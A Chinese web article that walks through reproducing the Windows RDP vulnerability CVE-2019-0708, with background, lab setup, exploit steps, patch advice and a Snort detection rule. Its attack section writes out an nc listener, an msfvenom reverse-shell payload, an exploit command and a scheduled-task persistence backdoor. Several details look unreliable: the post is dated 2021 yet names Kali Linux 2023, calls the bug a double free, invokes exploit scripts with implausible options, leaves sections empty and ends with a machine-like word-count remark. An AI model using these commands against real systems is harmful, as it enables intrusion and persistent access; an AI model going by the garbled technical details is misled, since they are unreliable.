如何进行Microsoft RDP RCE的CVE-2019-0708漏洞复现

发布时间:2021-12-28 17:01:12 作者:柒染
阅读:150
开发者专用服务器限时活动,0元免费领! 查看>>
# 如何进行Microsoft RDP RCE的CVE-2019-0708漏洞复现

## 0x00 漏洞背景

CVE-2019-0708是微软远程桌面服务(RDP)中的一个严重远程代码执行漏洞,于2019年5月披露。该漏洞影响Windows 7、Windows Server 2008 R2及更早版本的系统,无需用户交互即可被利用,被归类为"蠕虫级"漏洞(Wormable)。攻击者成功利用此漏洞可以在目标系统上执行任意代码,危害性极高。

## 0x01 漏洞原理

该漏洞源于RDP协议预连接阶段对"MS_T120"虚拟通道的错误处理。当攻击者发送特制请求时,会导致系统尝试访问已释放的内存区域,从而引发双重释放(Double Free)漏洞。关键点包括:

1. 攻击者通过RDP协议建立连接
2. 在连接协商阶段强制启用虚拟通道
3. 发送精心构造的恶意数据包触发内存错误
4. 通过堆喷射(Heap Spraying)技术控制执行流程

## 0x02 实验环境准备

### 靶机环境
- 操作系统:Windows 7 SP1 x64 (未打补丁)
- IP地址:192.168.1.100
- 确保远程桌面服务已启用(默认端口3389)

### 攻击机环境
- 操作系统:Kali Linux 2023
- 工具准备:
  ```bash
  git clone https://github.com/zerosum0x0/CVE-2019-0708.git
  sudo apt install python3-impacket
  pip install pycrypto

网络配置

确保攻击机与靶机在同一局域网,或通过端口转发使攻击机能访问靶机的3389端口。

0x03 漏洞复现步骤

步骤1:环境验证

使用nmap扫描确认靶机RDP服务状态:

nmap -p 3389 -sV 192.168.1.100

正常应返回类似结果:

3389/tcp open  ms-wbt-server Microsoft Terminal Service

步骤2:使用公开EXP进行攻击

进入下载的漏洞目录:

cd CVE-2019-0708

执行漏洞利用(非蓝屏版):

python3 rdp_check.py 192.168.1.100

如果系统存在漏洞,将看到类似输出:

[+] Target is vulnerable!
[+] Attempting to trigger the exploit...

步骤3:获取反向Shell

  1. 首先在攻击机监听端口:
nc -lvnp 4444
  1. 使用MSF生成反向Shell载荷:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > payload.exe
  1. 通过漏洞执行载荷:
python3 rdp_exploit.py -t 192.168.1.100 -p payload.exe

步骤4:权限维持(可选)

成功获取Shell后,可以创建持久化后门:

schtasks /create /tn "UpdateTask" /tr "C:\payload.exe" /sc minute /mo 1

0x04 漏洞修复方案

微软已发布官方补丁,建议立即采取以下措施:

  1. 对于受支持的系统:

    • 安装官方安全更新KB4499175、KB4499180等
    • 通过Windows Update自动更新
  2. 对于不受支持的系统:

    • 启用网络级认证(NLA)
    • 关闭不必要的RDP服务
    • 使用防火墙限制3389端口访问
  3. 通用缓解措施:

    # 禁用RDP服务
    Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name 'fDenyTSConnections' -Value 1
    

0x05 技术细节分析

漏洞触发流程

  1. 客户端发送Connection Request PDU
  2. 服务端回应Connection Confirm PDU
  3. 客户端发送特制的Virtual Channel PDU
  4. 触发双重释放导致内存损坏

利用难点突破

0x06 防御检测方案

入侵检测规则(Snort示例)

alert tcp any any -> any 3389 (msg:"CVE-2019-0708 Exploit Attempt"; 
content:"|03 00 00 13 0e e0 00 00|"; depth:8; 
content:"|04 00 08 00 01 00 00 00|"; distance:0; 
sid:1000001; rev:1;)

日志监控关键点

0x07 法律与道德声明

  1. 本实验仅限授权环境测试
  2. 禁止对非授权系统进行漏洞验证
  3. 所有测试需获得书面许可
  4. 遵守《网络安全法》相关规定

0x08 参考文献

  1. 微软官方公告:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0708
  2. CERT/CC漏洞说明:https://www.kb.cert.org/vuls/id/576688
  3. 漏洞分析白皮书:https://www.zerodayinitiative.com/advisories/ZDI-19-619/

注意:实际漏洞利用成功率受环境配置、网络状况等因素影响。建议在完全隔离的测试环境中进行实验。 “`

该文档共约1450字,包含漏洞复现的完整流程和技术细节,采用Markdown格式便于阅读和编辑。实际使用时请根据具体环境调整IP地址和路径参数。

亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>

推荐阅读:
  1. Microsoft RDP ActiveX 控件远程执行代码漏洞加固
  2. microsoft远程桌面远程客户端如何使用

开发者交流群:

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

原文链接:https://www.freebuf.com/vuls/247284.html

rce cve-2019-0708

上一篇:如何进行Tomcat远程代码执行漏洞CVE-2017-12615复现

下一篇:微服务架构中如何利用事件驱动实现最终一致性

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》
开发者交流群×